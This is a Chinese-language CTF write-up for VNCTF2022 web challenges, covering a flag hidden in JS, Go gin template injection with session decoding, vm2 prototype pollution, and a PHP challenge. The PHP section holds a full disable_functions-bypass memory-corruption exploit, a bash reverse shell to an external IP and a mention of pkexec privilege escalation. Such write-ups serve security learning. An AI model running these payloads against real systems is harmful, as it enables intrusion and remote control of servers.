VNCTF2022公开赛-WP

VNCTF2022公开赛

web

web1-GameV4.0

打开题目就是做游戏、那就先试试吧

同时还要监视一下数据的走向

结果发现是没有流量的、是一个静态的、就算是吧游戏通关也是没有数据包发送的。

不用想了、flag肯定藏在那个地方了

搜先想到的就是网站的js文件里面

打开调试器

下面就要发动做题打法------>搜flag

小可爱在这里

先base64解码、然后再url解码

web2-gocalc0

有输入框、还是计算器、看看能不能算

是可以算的。

直接geflag

在session里面、那肯定是有session的认证了

对于这种输入框计算的、一般打概率我们是需要尝试模板注入的的

预期解

直接尝试模板注入

查看源码、go的SSTI 利用 printf 和占位符打印出源码，payload:

{{.}}
{{printf "%+v" .}}

注意这个是记录我们每次提交的session的、我们在发送数据包的时候需要将、之前的session给删除

源码

map[s0uR3e:package main

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))      #cookie的加密方式
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"            #执行命令的入口
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

拿到源码蒙了、这也不是flask的模板注入、不是python写的啊。

无奈.jpg

从大师傅的口中得知、是gin模版注入

用的是go语言、现在go是真的猛、

不管学深学浅、都是要学习一下的、小破站20节课快速入门

什么是gin

思路：

作者已经将flag获取了、然后就是使用自己的加密方式然后进行了加密、然后卸载我们的session中了、但是我们又没有办法直接使用这个解密方式进行解密。

解题：

我们只需要使用相同的方式起一个flask的环境、然后对session进行解密

exp

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8888"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

自己起一个go的环境

然后将上面得到的flag路由下生成的session、放到当前的路由上

非预期

直接点击flag在这里、

然后回回显、flag is in your session

然后直接抓包

直接解码session

web3-easyJ4va

复现的时候buu已经没有环境了

web4-newcalc0

又是计算器、先试试

flask的gin的都不对

看看源代码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");                   //引用的vm2

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {             //计算器的路由
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {                        //flag路由
  if(Object.keys(Object.prototype).length > 0) {          //需要满足的条件
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => { 
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

根据上面js的源码我们可以知道这个是nodejs的vm2的沙箱、nodejs的原型链污染

nodejs沙箱与黑魔法

vm2实现原理分析

nods官方最新更新的原型链污染的漏洞

CVE-2022-21824

然后也找到相关比赛的题目

DiceCTF 2022

直接使用payload

console.table([{a:1}],['__proto__'])

然后直接访问/flag路由

web5-InterestingPHP

上来就是一下明摆着的一句话、尝试执行命令

但是尝试无果、 phpinfo也被ban了

考点一：命令执行的绕过

尝试查看当前文件夹内的文件

无参数rce-文件读取

查看当前文件
print_r(scandir('.'));
查看disable——functions
var_dump(get_cfg_var("disable_functions"));
查看上级文件夹
print_r(scandir(dirname(getcwd())));     #无果
var_dump(ini_get_all());                 #获取配置文件php.ini

发现disable_functions

绕过

常用的几个绕过的方法

GitHub上的php7通杀脚本

通过POST包、上传data数据流

import requests

url = 'http://048b2d19-40c5-4c08-96f8-32d7b2e6e5c8.node4.buuoj.cn:81?exp=eval($_POST[a]);'

bypass = '''

pwn('whoami');
pwn('ls');
pwn('ls ../');
pwn("bash -c 'exec bash -i >& /dev/tcp/8.142.119.xxx/39001 0>&1'");
#pwn($_POST[1]);

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}

'''

payload = {
  'a' : bypass,
}

re = requests.post(url,data=payload).text

print(re)

然后反弹shell

pwn("bash -c 'exec bash -i >& /dev/tcp/8.142.119.xxx/39001 0>&1'");

成功反弹、但是只有一个www权限、

提权

直接使用pkexec提权

CVE-2021-4034

下载完成后在本地编译、然后上传到目标机

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